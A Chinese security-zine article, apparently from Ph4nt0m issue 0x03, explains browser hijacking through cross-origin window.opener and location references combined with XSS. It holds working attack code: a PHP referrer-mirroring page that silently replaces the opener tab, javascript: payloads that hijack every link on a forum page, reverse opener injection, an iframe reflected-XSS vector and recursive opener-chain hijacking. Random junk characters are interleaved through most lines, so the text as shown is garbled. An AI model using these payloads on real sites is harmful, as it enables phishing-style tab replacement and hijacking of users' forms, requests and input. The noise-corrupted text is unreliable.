==Ph4nt0m Security Team==
& x9 H u3 m: d- F! q5 O- H
( D6 R7 n5 E# [- P M) d l N Issue 0x03, Phile #0x05 of 0x078 b9 q4 c+ ?& F, ], ^0 ~, t3 ~" h
1 o, z e2 b2 D3 X0 |' q( d3 O; V5 M- P( ^) Z* C; A8 U' ^9 T, A! }# h
|=---------------------------------------------------------------------------=|
" ~: r x2 U2 {|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|" @4 v. p5 k+ e) Y- i: I
|=---------------------------------------------------------------------------=|
7 }+ m5 F/ {9 J% y+ p6 m|=---------------------------------------------------------------------------=|6 M; H+ j& Q) P4 E. B8 B0 Y/ e
|=------------------------=[ By rayh4c ]=---------------------------=|: M1 \+ G J) u0 z% l
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|6 d+ Y: t! @$ X% v- @+ v
|=---------------------------------------------------------------------------=|
5 [' V5 D6 Z% m" M, w1 N8 z# m E
% b4 l8 J8 A, H* ?! ^0 b, f B
- [. \: \! ]! e- _9 N8 H[目录]
( C7 s2 I5 Y: |' h- [2 @' K& U
, |5 b! e" O$ O8 t# K: o5 a& I1. 前言. ?) r6 k- q, _7 M% K
2. 同源策略简叙- J3 {3 T# i( r" V
3. 理解window对象的同源策略/ I, q) \3 D, i* E! K" w
4. 窗口引用功能中的同源策略漏洞1 n% x: }; f X! `) E
4.1 父窗口引用子窗口的同源策略问题
# Q2 b: N5 d! {( F q" [ 4.2 子窗口引用父窗口的同源策略问题1 _+ s/ F9 Z/ a9 ~& A/ x
5. 利用窗口引用漏洞劫持浏览器8 s, C% {5 S" j) R: J3 S2 [
6. 利用XSS漏洞劫持浏览器, t" u- \. N5 n9 U- o. _
6.1 正向跨窗口劫持
8 v; ~5 I' u4 j6 p 6.2 反向跨窗口劫持2 J8 f% I( b8 G5 e+ c8 s4 u
6.3 极度危险的跨框架窗口引用劫持/ V7 |& |9 w! `% N* w/ N
6.4 极度危险的正反向跨窗口递归劫持
6 O( \+ F/ h7 }/ f6 c! {: b1 z5 d% ^ 6.5 完全控制浏览器
9 q8 \: F; _' ^9 e# V7. 后记* H, w- C: H+ F' w9 V9 \& o3 h
8. 参考8 d6 u5 P' t5 _( |7 J
' e8 X7 h) |- E. l9 i
3 R. c. g7 ]2 s7 {* L一、前言
' f: t e% Q$ r) q
2 r. n( B9 \; e4 C, S- I* K" r$ ~ 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋) i; l/ h+ v' p) j: K6 ^ o
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
3 ?/ \7 A- h. O) ^1 l劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
: {" ?; y2 H% p5 i4 g3 n7 ]* w% c条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。1 x2 U2 Z9 \' m
* [. u0 ?/ D! L' T& s* A
, ^( m" E) d8 ]6 U6 D D2 P4 f
二、同源策略简叙
3 v" ~. k2 X) K& y/ H! i3 k- S9 F( T# p* y
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以% P1 a0 B' V) u0 g6 ^+ J
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都* t( ~9 x c7 |9 F3 [, g6 p
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木* q* M3 I1 U# O! m u) P
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个9 K% Q) b1 l" b" G5 H2 Q0 u& f
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。' t4 C9 Z2 s& I. g2 w }6 F1 T5 n
1 I' K" y$ J$ G# c$ S3 K# O
9 G8 D3 X' R/ ]; v三、理解window对象的同源策略1 F% [( k; W" X# A$ f
! _# H8 v+ f9 T8 U 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
8 l& R, L# d& D1 S+ U0 F$ J2 O象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:$ ~/ {- _2 B( M' h& p
$ K/ R' x# }6 S3 t6 o, ^! F, d--code-------------------------------------------------------------------------
& a6 J5 p7 r/ ?4 [5 E. d5 S3 Z<script language="javascript">
! X9 @5 w* D' I, N: r3 g7 kfor(p in window) document.write(p+"<br>");, W! G# E/ G# t) {
</script>
/ X1 V3 [, A0 j, _4 p- s6 ~-------------------------------------------------------------------------------
) |' [' v7 Y$ H; n/ [( J8 u l5 a+ w. u- v1 j: ^
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
8 D! }' ?1 p p s( O法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,8 G9 Y9 W% `4 }. `4 p$ t
这些属性和方法就必须遵循同源策略。
( [# A+ L" C9 S/ r) k; N6 B7 f
, V# W# _% a- S7 i6 a4 } 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
! [2 c+ {; h: C2 K么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须3 Y6 ^9 C; j2 B- E
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
" W7 ]5 D" z @! {/ k1 D个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
! c9 }. T7 D( T R0 S值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location: Q+ ~- D8 {5 K* e
属性并没有被拒绝访问。0 j5 D3 B4 [# i) |% _0 D
/ l5 [# `% M9 a( k- |3 @, u
--demo.html--------------------------------------------------------------------- ~9 t8 J7 L& Z- y9 ~
<script language="javascript">
4 W" A1 N5 y. i- s' S& H' Mfunction allPrpos(obj) { # K! G: x- H) t* F# T* C
var props = "<table><tr><td>名称</td><td>值</td>";
1 _/ Z$ b; L+ \* O, {* @* c" X for(var p in obj){
4 [$ O, V( F2 Q8 F5 i0 O if(typeof(obj[p])=="function"){ 1 l9 p: ^4 D3 z
obj[p](); $ \: p1 ^4 K$ O$ p2 d( w
}else{ / g } S: p2 O7 x1 |+ X- e: @
try ; G/ `% J+ L9 Q/ ~6 v& e
{
" V! B5 X! C6 y4 Q props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; 7 A0 ?" J3 H! @& P; R" h( R* D4 |, r8 B
}
$ d" M0 a( |, [0 X5 n6 A0 U catch (ex) 9 G% H0 d) B8 M) \ ~7 }) b
{ 7 k. R7 C: ~: D s
2 i( r3 \9 ^2 N# V$ c, I
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; ! F+ A8 Z8 ]! E
} 8 X: C& k8 i# N& H5 T8 Z
/ `/ q4 F3 I5 f# Y$ I2 J# ]2 q( q% z, D, x }
+ Z% A: U( I3 ? }
9 q3 G' w$ `2 H" g# j. I, D 3 L9 H( k% B6 b% Y) q8 o
document.write(props+"</table>"); $ `/ I+ T+ S7 G9 M8 i1 B
}
8 p1 c: X' X, @7 @
& ^5 w5 e A3 e9 b8 D! {) D9 c, ^function createWin() {9 y5 m% e/ F8 U" T' [
newWin = window.open ("http://www.google.com");
5 S P* J0 p% R3 r( I# [ setTimeout(function(){allPrpos(newWin)},2000);
7 i, l3 F* R9 `7 c! a6 F# I}
2 C. K2 l0 b( y! I W$ o- A. y& V1 i
</script>
5 k& x6 E+ r8 u! D$ K) ^
1 F. g; i) x0 D# s<button onclick='createWin()'>创建一个非同源子窗口测试</button>1 A, Z3 \: e- s7 C$ z
-------------------------------------------------------------------------------* J2 S. Z& N5 X3 o# X% z) @' O
. W3 P5 v! r5 c) ?* _+ {
3 P& y5 Y: y3 Z/ T# S9 P四、窗口引用功能中的同源策略漏洞# O. V$ o! E! h3 J& h8 ?
! G( p: F4 k- ]( X6 {8 F: m4.1 父窗口引用子窗口的同源策略问题( z9 d$ E% T6 E1 {5 Q
6 E) G/ Y- P5 s1 }4 U, F) n
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
5 d% j2 D+ k o1 {但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道# z! J& N* w5 I: f4 Z
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进2 p) I- O; J% h# x+ v# g
行测试,会发现父窗口可以控制非同源子窗口location属性值。
5 e$ p& S* A' j/ d- I* `5 R
7 G" ~2 u3 u/ b" x6 @--vul1.html--------------------------------------------------------------------$ P8 x! v' |! b) m- l
<script language="javascript">
) ]$ P8 t a8 \! Q- ?function createWin() {
) S+ {5 h; K& ^4 u5 r$ k! ^ newWin = window.open ("http://www.google.com");
- @5 H0 a1 u8 R4 p0 p9 z# X setTimeout(function(){newWin.location="http://www.80sec.com"},2000); # l' s4 E- |8 I# _" A+ C
} ' `3 d# s. \9 `9 {& Q
</script>
6 T* I$ {" ?+ R# \' A- K& t9 W
D' i& k/ ?/ e8 S, d0 a<button onclick='createWin()'>创建一个非同源子窗口测试</button>
% l& i& ?+ W$ V7 A' f6 m-------------------------------------------------------------------------------
; D: v! P! l f! M4 v" G; @) |0 u1 p8 Z+ W- t
8 [. X" u3 |! a/ { ?6 }0 F
4.2 子窗口引用父窗口的同源策略问题# D+ p9 _- E& B5 c9 ~
9 }9 O" U4 x7 C& T- q+ P
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
, ]* A- b% ?, }' G" @用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
. o! F3 L' T4 z( A1 ~9 ]# P可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
. n8 y Y9 B1 \& o) w会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。 N9 D1 J5 M" j# p
, B. q! [- m0 G7 x
--code-------------------------------------------------------------------------
5 _9 ~* R1 K. ?# ^9 d6 ^ d, L: A+ l6 B9 k, d6 H
javascript:window.opener.location = "http://www.80sec.com";void(0);
/ D6 [/ r2 u- \; s' Q( I3 s, B1 I3 T3 y8 B* @/ j0 X8 Y
-------------------------------------------------------------------------------+ V# t% E$ v" U5 j& \- S
8 [& b9 g1 Z- t- K+ i7 e5 P$ f
9 ?: u; c0 G& X+ b5 T' q! E: T五、利用窗口引用漏洞劫持浏览器
/ S6 z4 I5 p% g7 _$ G2 s7 c/ `
. c8 x( ~, r! u3 d$ X 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
- N' ~4 N/ W7 e8 H( J* I窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
4 B# v# C8 ~' { O: S; W么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
# O/ x" k8 s$ U1 d$ i: i& M" w( C
* g. y* N: E% O7 G6 T& w4 W6 |$ i- K 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产- [* I. }2 p* O) z
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
3 {' e# J4 G2 U! Q8 j; e- {7 C8 `0 d- R者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
I* h; i7 k5 m: n后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
4 f4 Y ]9 F" k会产生什么可怕的后果。
7 M5 L1 z6 Z7 b7 K
6 V- m! L0 ~, E- n7 I0 x' O 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我: E& l' U* A. J
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php4 f3 {; Z7 [! G- V
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时; x5 s+ |0 ?4 x, x( F9 e
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
" r( A) z, ]; ~3 V4 S( T% N" W" g以做更多的事情,所有的一切仅仅是因为点击了一个链接。. t% Z( M$ M5 z1 Z0 z1 j9 `' w
3 H" W: y3 }- V k0 }0 n& V
--hjk_ref.php------------------------------------------------------------------
: T+ w# w: C8 D4 _5 m2 x% Z<?php$ s5 `2 M b) u2 r- W
if (array_key_exists("HTTP_REFERER", $_SERVER)) {- ]0 G' ]+ x( e" A1 M: I D1 a4 {
$Url_Mirror = $_SERVER["HTTP_REFERER"];- R6 p. K1 B( |% [/ y0 K% }7 G
} , ~2 t6 i0 u( J. j
if(isset ($_GET['ref'])) {) I+ n) u0 ~1 A' v* o/ f2 U
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
! T4 y% H6 X/ s, x$ j) o}
" G4 e6 L5 v; J: c) w6 t?>: k* L m% V3 y7 `+ S7 G
$ p: D2 {% t# p<script language="javascript">
8 n: P1 F3 `2 p& a2 l6 ysetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
' f {1 g0 N6 \5 j# |</script>7 K9 i1 L" H4 p7 `6 u v
-------------------------------------------------------------------------------7 A% p: L7 }& a: Q( i$ o/ ]
" S1 ^0 |' N4 T3 ^1 ^5 X; t5 W. s 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。/ Y" l$ ]- i; c9 R& T
. U' q$ h9 G2 ]' z, N
3 q' }4 E. U/ P. C+ ]
六、利用XSS漏洞劫持浏览器
# z0 |' d* l- ~. \* k" \% @/ d6 U- T, B# J O3 i9 O2 i
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为2 Y- q# Q3 Z0 ^
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
2 D1 k2 n( K6 p6 iXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起- q* t3 e0 f' G+ h8 y
讨论跨站师的终极技巧:5 r% }9 ` b- B
3 w5 A$ `' o6 g( h, O
+ W: e. y/ {; z' {7 @
6.1 正向跨窗口劫持, W- Z( x u" }
$ i2 c! `3 x: l& u% J1 T$ q
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
7 M5 y0 K- ?: I' m8 D# U& t) w" y主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
3 p. o* c9 K' T4 ^( i* l/ w3 x) d& B接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话. y( P* F; G) S0 V9 H/ o
框脚本。
, g, V. y g2 q" s# z
& R! {' H2 v7 r2 r--hijack_open.js---------------------------------------------------------------
2 v! Z$ O% L" G% |" D$ A" Y& M# X$ T2 M) W
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
8 Q7 X* R' M6 H" T$ l
6 O, Y/ d8 h: b9 c! }2 w-------------------------------------------------------------------------------
) T- F t; Z0 ?8 r7 R, \8 G& ]+ z' a& y) K/ H6 U2 K) p- l/ d
: Z) }1 a4 Q: `% o$ D- y Z+ a( W6.2 反向跨窗口劫持$ h, r. ?/ u2 m
7 x/ z B# d# n0 S6 R 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代, a. |; ]! o R' e
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话2 S5 v0 J$ k/ e( H
框脚本。% P: e" Q# k$ D9 P2 v0 A5 n! i$ @
: X. R! g2 D$ S# r' {- ~
--hijack_opener.js-------------------------------------------------------------
/ o! ~! w8 X3 ]) J7 J7 `- E9 W: C0 c! L$ B, i
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);% u6 {# m4 m) }# k
) A% z8 l. l% Y% K* y- m
-------------------------------------------------------------------------------9 [; p) M/ `# Z1 R8 O: Y+ C
S1 ~/ D% i2 D/ I
# h7 K% J' R+ R; w6.3 极度危险的跨框架窗口引用劫持: U; g5 M6 J$ V E3 }' Q/ S8 }
6 z) P# l1 L3 U/ d 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
% y+ D* a' I. y6 ~& l可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
5 { x; u1 J! g, g% N适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个3 p1 `, M) N0 n1 Z* w
非持久型的XSS,如下:3 E, } M1 _0 ^8 ]4 V6 c+ _
" S2 W6 C7 ?* h: t% ~<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>- C/ g; C' S. f# @
( p& c* @$ q3 ~2 H: Y 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口( B1 d0 ]3 `2 g# @
注入脚本。
" B b5 `1 v; c/ [7 V; Z( a# \9 B, Z( X! Q
--hijack_frame_opener.js-------------------------------------------------------! U& M- x4 ?7 }
<script>
5 u) j# t t& y+ g' Jwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";& z0 j8 }" x$ F% e( x
</script>9 g# W& C% ` R- C! M( a4 q6 y8 x
-------------------------------------------------------------------------------) N8 v' C- K: O- C
5 I/ ?( t- z) f: P# `# m* o
% A9 t7 }, x& i9 Z" [ i6.4 极度危险的正反向跨窗口递归劫持* {% R; {, ^0 p. I5 m- U* Z
0 Z( [) C' i: q+ D8 A luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
. M' E+ j, g5 @% x7 Z1 q的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
6 T1 e6 [1 S" y! B, b2 t" h异常处理规避之间跨域页面的访问异常,代码如下:& h4 _+ g- n$ j
+ x- O. \( s8 m--code-------------------------------------------------------------------------* a3 x4 w3 Y: X4 N$ {! w
# W# `9 r" j! C
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);4 |) D% m0 }6 i. y) }, A
3 u1 i7 D2 \2 u-------------------------------------------------------------------------------
' p' F$ Y. z j" N/ J4 b" K% N6 }* x9 |8 l
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
2 _& V4 I; m* L以劫持B域之前的A域页面,从而实现“隔空打击”。
8 ^9 E8 ]0 q5 H1 X5 z* ?
4 f# s6 k& [ s" I: F. C! ^0 ^ p 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面& i- K1 @* L0 @- \
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。3 i' b/ w. u' k4 i+ x2 {
6 _# }5 G# A. u& H 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。* g& L8 w( ?5 V9 X- j S
- A$ c1 r; h9 g1 e# ?% \" c% ^: B- G- S# V% ?/ l
6.5 完全控制浏览器
6 M/ t" _% B6 I0 ]! s' P4 [, E$ ^/ \5 u: e8 ^* _. V; B
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则! P3 F9 w- V5 J4 t# R0 Q d
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
: B$ z4 H4 P6 X7 ?! R漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失8 a: T9 M# D/ G7 R
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再) |% B: Q/ ]( N
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
: z( I$ ?+ ?' T' Y: n/ }师的终极目标 - 完全控制浏览器。
* Y. r6 C. d4 i K1 C
8 z3 G' u) Q! p5 {/ x
6 @+ O, A6 e" T1 s2 o7 j七、后记* a6 ?# b. L8 K$ N* O- G# ?
k# s, L$ Y0 ~# V 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全0 O! q, w3 Z) U$ @8 ?' T! ^6 d
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予& e5 O1 w! |1 F6 H" S
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。* H/ l! Y2 M% t* v3 x
+ W8 a; }( X- b7 l2 z
: k" R6 R% h& g# k- R& Y5 t8 r* t' h
八、参考
\$ @" ^: r& V: }# R4 @- \8 Q) d7 k; S3 i( h' p6 k- t
1. http://en.wikipedia.org/wiki/Same_origin_policy# ~( r) u; s4 U1 L0 i( [) d
2. http://code.google.com/p/browser ... licy_for_DOM_access
& d0 K( w( P {" K$ a) N/ m1 b3. http://www.w3.org/TR/Window/* o3 P7 b2 ^6 n$ T; k9 O' y. H
4. http://www.80sec.com/release/browser-hijacking.txt* \7 N. c# x# }% l' ^
5. http://www.80sec.com/all-browser-security-alert.html/ r; B7 O4 _ @6 X
6. http://www.80sec.com/ms08-058-attacks-google.html8 h; u0 j& x6 o% e2 d
7 J9 Q& ?/ `! M/ n" w; @7 P
-EOF- |